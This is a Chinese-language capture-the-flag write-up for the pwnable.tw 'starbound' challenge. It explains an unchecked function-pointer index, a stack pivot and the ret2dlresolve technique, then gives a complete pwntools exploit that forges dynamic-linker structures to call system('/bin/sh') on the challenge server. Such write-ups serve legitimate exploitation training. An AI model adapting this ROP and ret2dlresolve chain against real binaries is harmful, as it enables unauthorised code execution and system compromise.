---
title: starbound
tags: pwnable
---
# starbound
## 漏洞利用
這裡可以很明顯看出me結構中第468個bytes開始都視為函數指標,choice我們可控,且沒有做邊界檢查,所以有機會取得執行任意函數。


有了執行任意函數的能力後,觀察一下執行函數之前的stack狀況,發現當前stack frame是部分可控的(大概0x100 bytes),我們可以控成我們要的ROP chain,並利用下面這個gadget觸發ROP chain。
```
0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret
```
已經決定利用ROP了,但是此題沒有給library,所以我們不知道libc確切的offset,有很多其他的作法,最簡單的方法是用open,read和write讀flag
,三個是已經在plt內可以直接使用,但是還是想拿到shell,所以除了orw的作法外,還嘗試了ret2dlresolve,接下來指會說明ret2dlresolve的手法。
## dlresolve
### 解析函數
這裡先稍微講解一下ret2dlresolve的作法,由於lazy binding的特性,在函數尚未執行前,都不會被解析,而下面為解析的部分,以open為範例。
第一次執行open時,會先從這兩行指令開始。

---
接者會跳轉到地址`&plt[0]`,最後一個`JMP`將會跳到解析函數的入口點。

---
執行完的效果大概長的如下面一樣,且解析完後,會跳轉到open函數上,並執行open。
```c
_dl_fixup(*0x8055004,0x10);
```
### 重要的section
這裡提到三個重要的section,`.rel.plt`,`.dynsym`,`.dynstr`,這三個section中存放了與函數重定位有關的結構,一次的函數解析大概就像下圖,最後會找到對應的函數名稱,並且從對應的library中將對應的function填寫到got中。
這裡比較可惜的是,本題的對於重定位表的保護為`Partial RELRO`,圖中三個table全都不能寫。
所以利用方法只能透過控制`_dl_fixup`的第二個參數。

### 解析流程的介紹
函數名稱以及參數

---
`symtab`,`strtab`分別存放著指標指向`.dynsym`,`.dynstr`的首地址。

---
`reloc_offset`被定義為`reloc_arg * sizeof (PLTREL)`,這一張圖便是在找`open`在`.rel.plt`對應的entry。

---
接下來透過`reloc->r_info`找到在`.dynsym`對應的entry。這裡要特別注意,**我們偽造的`.dynsym`的entry的地址減去`.dynsym`的首地址**,再模除16後必須為0,否則會導致對齊上的問題,而本題`.synsym`的地址為0x80481dc,故位造出來的地址需要滿足0xXXXXXXXc的格式。
>

---
`l->l_addr + reloc->r_offset`計算出open在got中對應的entry

---
**這張圖要特別注意一下**,由於記憶體段分布的限制,我們之後偽造的`.rel.plt`entry距離`.rel.plt`的首地址會很遠,所以我們的`reloc->r_info`會是一個相當大的值,這會導致segmentation fault的發生,所以我們要將`l->l_info[VERSYMIDF(DT_VERSYM)]`設為0來繞過這個if statement

---
`_dl_lookup_symbol_x`便是函數解析的關鍵,解析完會回傳對應函數的在library的地址。可以看到`strtab+sym->st_name`,這個便是指向函數名稱字串的指標。

最後將解析後的函數寫到got中對應的entry,此次解析便結束了。


## 利用思路
基本上就是利用ROP,中間有做一次stack pivot,最後就完成ret2dlresolve完成後,就可以呼叫open函數,便可以呼叫system,詳細的就看code吧!
```python3
from pwn import *
import time
#p = process('./starbound',env={'LD_LIBRARY_PATH': './tmp/usr/lib/i386-linux-gnu/'})
p = remote('chall.pwnable.tw', 10202)
#context.log_level='info'
context.log_level='error'
#context.log_level = 'debug'
s='''
b* 0x0804a65b
b* 0x0804a0b8
'''
#gdb.attach(p,gdbscript=s)
def menu():
log.info(p.recvuntil('> '))
def set_name(name):
menu()
p.sendline(b'6')
menu()
p.sendline(b'2')
log.info(p.recvuntil(b': '))
p.sendline(name)
menu()
p.sendline(b'1')
def calc_offset(target):
#0x8058154 is our user's function table
print(((target - 0x8058154)>>2))
return ((target - 0x8058154)>>2)
def execute_rop(rop):
#addr store the function pointer that we want to execute
menu()
#-33
print(-33)
p.sendline(b"-33\n\00\x00\x00\x00"+rop)
##########################################################
# our target is to modify put@got.plt to point to system
# put fake .rel.plt entry at 0x8055100
# put fake .dynsym entry at 0x805510c
# put "system\x00\x00" at 0x805511c
# put "/bin/sh\x00" at 0x8055124
##########################################################
fake_resolve_data = b''.join([
#fake .rel.plt entry
p32(0x8055014),
p32((0xcf3<<8)|0x7), # (0x8055110-0x080481dc)>>4 = 0xcf3
#padding,since (fake .dynsym entry's addrees - 0x80484fc)%16 must be 0
p32(0),
#fake .dynsym entry
p32(0xcc20), # 0x805511c-0x80484fc = 0xcc24
p32(0),
p32(0),
p8(12),
p8(0),
p16(0),
#"system"
b'system\x00\x00'
#"/bin/sh"
b'/bin/sh\x00'
])
#name is at 0x80580d0
#0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret
set_name(p32(0x0804a0b8))
rop_chain = b''.join([
p32(0x8048a70), # read
p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret
p32(0), # fd
p32(0x8055100), # fake resolve data
p32(200) , # size
p32(0x8048a30), # write
p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret
p32(1), # fd
p32(0x8055004), # read the pointer that point to link_map
p32(5), # size
p32(0x8048a70), # read
p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret
p32(0), # fd
p32(0x08058000-0x100), # construct new stack frame
p32(200), # size
p32(0x80491bc), # pop ebp ; ret
p32(0x08058000-0x100), # pivot to new stack
p32(0x8048c58), # leave ; ret
])
execute_rop(rop_chain)
p.send(fake_resolve_data) #send fake resolve data
#print(p.recvrepeat(0.5))
# read pointer point to info_map l
time.sleep(0.1)
p_info_map = p.recvn(4,timeout=1)
print(p_info_map)
p_info_map = u32(p_info_map)
print("info_map : ",hex(p_info_map))
#new stack is at 0x08058000-0x100
pivot_stage1 = b''.join([
p32(0), # padding
p32(0x8048a70), # read
p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret
p32(0), # fd
p32(p_info_map+0xe8-20), # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero
# since our ld.so may different to the server
# we have to try to guess the of set of
# l->l_info[VERSYMIDX (DT_VERSYM)]
p32(4*10), # size
p32(0x8048940), # &.plt[0]
p32(0xc938), # 0x8055100-0x80487c8 = 0xc938
p32(0x8048970), # open@got.plt is now point to system
p32(0x0), # padding
p32(0x8055124) # /bin/sh
])
p.send(pivot_stage1) # send new stack frame
p.send(p32(0)*10) # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero
p.interactive()
```